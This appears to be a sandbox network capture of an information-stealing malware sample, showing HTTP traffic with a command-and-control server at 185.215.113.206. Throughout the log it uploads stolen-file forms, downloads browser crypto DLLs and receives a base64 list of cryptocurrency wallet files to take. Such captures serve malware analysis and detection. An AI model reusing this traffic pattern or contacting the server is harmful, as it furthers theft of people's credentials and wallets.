Nov 1, 2024 05:52:22.272104979 CET	203	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JECBGCFHCFIDHIDHDGDG Host: 185.215.113.206 Content-Length: 1451 Connection: Keep-Alive Cache-Control: no-cache
Nov 1, 2024 05:52:22.272135019 CET	1451	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4a 45 43 42 47 43 46 48 43 46 49 44 48 49 44 48 44 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 39 30 36 38 32 Data Ascii: ------JECBGCFHCFIDHIDHDGDGContent-Disposition: form-data; name="token"790682b243b2a5521b42537af2e4f0e82f3f5bd15e2c1ff37e3c72ed48bcfed589c78e1c------JECBGCFHCFIDHIDHDGDGContent-Disposition: form-data; name="file_name"aGlzdG9yeVxHb
Nov 1, 2024 05:52:23.058943987 CET	202	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:52:22 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 1, 2024 05:52:23.075644016 CET	565	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IIJEBFCFIJJJEBGDBAKE Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 49 4a 45 42 46 43 46 49 4a 4a 4a 45 42 47 44 42 41 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 39 30 36 38 32 62 32 34 33 62 32 61 35 35 32 31 62 34 32 35 33 37 61 66 32 65 34 66 30 65 38 32 66 33 66 35 62 64 31 35 65 32 63 31 66 66 33 37 65 33 63 37 32 65 64 34 38 62 63 66 65 64 35 38 39 63 37 38 65 31 63 0d 0a 2d 2d 2d 2d 2d 2d 49 49 4a 45 42 46 43 46 49 4a 4a 4a 45 42 47 44 42 41 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 49 4a 45 42 46 43 46 49 4a 4a 4a 45 42 47 44 42 41 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------IIJEBFCFIJJJEBGDBAKEContent-Disposition: form-data; name="token"790682b243b2a5521b42537af2e4f0e82f3f5bd15e2c1ff37e3c72ed48bcfed589c78e1c------IIJEBFCFIJJJEBGDBAKEContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------IIJEBFCFIJJJEBGDBAKEContent-Disposition: form-data; name="file"------IIJEBFCFIJJJEBGDBAKE--
Nov 1, 2024 05:52:23.876661062 CET	202	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:52:23 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 1, 2024 05:52:24.245117903 CET	565	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HCBFIJJECFIEBGDGCFIJ Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 43 42 46 49 4a 4a 45 43 46 49 45 42 47 44 47 43 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 39 30 36 38 32 62 32 34 33 62 32 61 35 35 32 31 62 34 32 35 33 37 61 66 32 65 34 66 30 65 38 32 66 33 66 35 62 64 31 35 65 32 63 31 66 66 33 37 65 33 63 37 32 65 64 34 38 62 63 66 65 64 35 38 39 63 37 38 65 31 63 0d 0a 2d 2d 2d 2d 2d 2d 48 43 42 46 49 4a 4a 45 43 46 49 45 42 47 44 47 43 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 43 42 46 49 4a 4a 45 43 46 49 45 42 47 44 47 43 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------HCBFIJJECFIEBGDGCFIJContent-Disposition: form-data; name="token"790682b243b2a5521b42537af2e4f0e82f3f5bd15e2c1ff37e3c72ed48bcfed589c78e1c------HCBFIJJECFIEBGDGCFIJContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------HCBFIJJECFIEBGDGCFIJContent-Disposition: form-data; name="file"------HCBFIJJECFIEBGDGCFIJ--
Nov 1, 2024 05:52:25.026839972 CET	202	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:52:24 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 1, 2024 05:52:25.262502909 CET	94	OUT	GET /746f34465cf17784/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 1, 2024 05:52:25.565534115 CET	94	OUT	GET /746f34465cf17784/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 1, 2024 05:52:26.391037941 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:52:26 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Nov 1, 2024 05:52:26.391051054 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]USWVhO?t0
Nov 1, 2024 05:52:26.391072989 CET	1236	IN	Data Raw: 55 07 08 00 83 c4 08 eb ce cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 e4 f8 83 ec 58 89 4c 24 2c 8b 7d 1c a1 b4 30 0a 10 31 e8 89 44 24 50 c7 44 24 3c 10 00 00 00 83 ff 18 72 19 89 f8 83 e0 07 75 12 8d 47 f8 3b 45 14 76 14 68 03 e0 ff Data Ascii: UUSWVXL$,}01D$PD$<ruG;Evhh\|$,}uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$
Nov 1, 2024 05:52:26.391088009 CET	336	IN	Data Raw: 55 89 e5 53 57 56 83 ec 24 8b 4d 1c 8b 75 0c a1 b4 30 0a 10 31 e8 89 45 f0 8b 7d 08 8d 59 f8 83 f9 10 75 32 8d 45 dc 8d 4d e0 6a 10 ff 75 18 6a 10 50 51 57 e8 f7 93 06 00 83 c4 18 89 c7 8d 75 e8 83 45 dc f8 c7 45 d8 00 00 00 00 85 ff 0f 85 b4 01 Data Ascii: USWV$Mu01E}Yu2EMjujPQWuEEC1;]vS{EE1uuSPVEPo9]SUYY)ZYEME]M)19D
Nov 1, 2024 05:52:26.391098022 CET	1236	IN	Data Raw: f4 01 19 db f7 d0 09 c3 21 fb b8 04 00 00 00 29 c8 c1 f8 1f 8b 7d 1c 80 7c 37 f3 01 f7 d0 19 ff 09 c7 21 df 21 d7 b8 05 00 00 00 29 c8 c1 f8 1f f7 d0 8b 55 1c 80 7c 32 f2 01 19 db 09 c3 b8 06 00 00 00 29 c8 c1 f8 1f 80 7c 32 f1 01 f7 d0 19 d2 09 Data Ascii: !)}\|7!!)U\|2)\|2!!)M\|1t/EU;U]w"1E9t:RVP -:]QsE9uSjPEtSP\M1$^_[]U
Nov 1, 2024 05:52:26.391107082 CET	1236	IN	Data Raw: fc 07 00 83 c4 04 eb 09 c7 47 08 01 00 00 00 89 fe 89 f0 5e 5f 5b 5d c3 cc cc cc cc 55 89 e5 53 57 56 83 ec 08 8b 55 18 8b 4d 14 8b 5d 0c 8b 75 08 8b 3e 8b 46 04 39 d8 74 3a 8d 4e 08 8b 56 08 c7 46 08 00 00 00 00 85 ff 89 4d ec 89 55 f0 74 48 8b Data Ascii: G^_[]USWVUM]u>F9t:NVFMUtHHjWhjV4%tUVPdnFEFEF^Kt=Uuu#t>t FHjWEM
Nov 1, 2024 05:52:26.391119003 CET	1236	IN	Data Raw: 01 ff ff ff 73 20 68 0e e0 ff ff e8 6b f7 07 00 83 c4 04 68 02 01 00 00 56 e8 6f f7 07 00 83 c4 08 e9 cb 00 00 00 8d bd f0 fe ff ff 68 00 01 00 00 68 20 21 08 10 89 b5 ec fe ff ff 56 e8 cf f7 07 00 83 c4 0c bb 00 01 00 00 66 2e 0f 1f 84 00 00 00 Data Ascii: s hkhVohh !Vf.@uVuW)9wSuWT>\>=t%>>fM
Nov 1, 2024 05:52:26.391128063 CET	1236	IN	Data Raw: 00 c7 45 e0 00 00 00 00 89 45 d4 83 f8 08 0f 82 fc 02 00 00 8b 4d d4 83 e1 f8 8d 41 f8 89 c2 c1 ea 03 83 c2 01 85 c0 89 4d c8 0f 84 ef 01 00 00 89 d1 83 e1 fe 66 0f 6f 05 c0 20 08 10 31 f6 66 0f ef c9 66 0f ef d2 8b 7d 10 8b 5d cc 0f 1f 80 00 00 Data Ascii: EEMAMfo 1ff}]fn4ff`fafofrfo f[fpffpffof% fpfpfbfnlff`fafffrf% [fpffpfpffp
Nov 1, 2024 05:52:26.391144037 CET	648	IN	Data Raw: d3 89 45 e4 f7 5d d8 b9 01 00 00 00 88 de 89 fb 80 c3 01 0f b6 fb 8b 45 f0 8a 14 38 00 d6 88 75 e8 0f b6 f6 8a 34 30 88 34 38 88 14 30 00 d6 0f b6 f6 8a 75 e8 8b 7d e4 8a 54 0f ff 32 14 30 8b 45 dc 88 54 08 ff 8b 45 d8 01 c8 83 c0 01 83 c1 01 83 Data Ascii: E]E8u40480u}T20ETEuE14^_[]UM1]U}f.MMuEMMU2}E0MEEMLE
Nov 1, 2024 05:52:26.391802073 CET	1236	IN	Data Raw: 89 85 a0 fe ff ff 89 c3 11 d3 8b 41 20 89 85 c4 fe ff ff 01 c7 8b 71 24 11 f3 89 5d c8 89 b5 98 fe ff ff 8b 51 44 31 da 8b 41 40 31 f8 89 fb 81 f2 7f 52 0e 51 89 95 50 ff ff ff 35 d1 82 e6 ad 89 d7 81 c7 08 c9 bc f3 89 7d e8 89 c1 81 d1 67 e6 09 Data Ascii: A q$]QD1A@1RQP5}gjM31tQIU]U1P1]PMMEE11xptJ@F
Nov 1, 2024 05:52:29.593656063 CET	94	OUT	GET /746f34465cf17784/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 1, 2024 05:52:29.879527092 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:52:29 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Nov 1, 2024 05:52:31.552288055 CET	95	OUT	GET /746f34465cf17784/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 1, 2024 05:52:31.838179111 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:52:31 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Nov 1, 2024 05:52:32.526855946 CET	91	OUT	GET /746f34465cf17784/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 1, 2024 05:52:32.812855005 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:52:32 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Nov 1, 2024 05:52:34.637281895 CET	95	OUT	GET /746f34465cf17784/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 1, 2024 05:52:34.923820972 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:52:34 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Nov 1, 2024 05:52:35.209476948 CET	99	OUT	GET /746f34465cf17784/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 1, 2024 05:52:35.495390892 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:52:35 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Nov 1, 2024 05:52:36.063420057 CET	203	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAAEHDBFIDAFIDHJEBFB Host: 185.215.113.206 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Nov 1, 2024 05:52:36.916743040 CET	202	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:52:36 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 1, 2024 05:52:36.972564936 CET	469	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KFHCAEGCBFHJDGCBFHDA Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 46 48 43 41 45 47 43 42 46 48 4a 44 47 43 42 46 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 39 30 36 38 32 62 32 34 33 62 32 61 35 35 32 31 62 34 32 35 33 37 61 66 32 65 34 66 30 65 38 32 66 33 66 35 62 64 31 35 65 32 63 31 66 66 33 37 65 33 63 37 32 65 64 34 38 62 63 66 65 64 35 38 39 63 37 38 65 31 63 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 48 43 41 45 47 43 42 46 48 4a 44 47 43 42 46 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 48 43 41 45 47 43 42 46 48 4a 44 47 43 42 46 48 44 41 2d 2d 0d 0a Data Ascii: ------KFHCAEGCBFHJDGCBFHDAContent-Disposition: form-data; name="token"790682b243b2a5521b42537af2e4f0e82f3f5bd15e2c1ff37e3c72ed48bcfed589c78e1c------KFHCAEGCBFHJDGCBFHDAContent-Disposition: form-data; name="message"wallets------KFHCAEGCBFHJDGCBFHDA--
Nov 1, 2024 05:52:37.260725021 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:52:37 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: 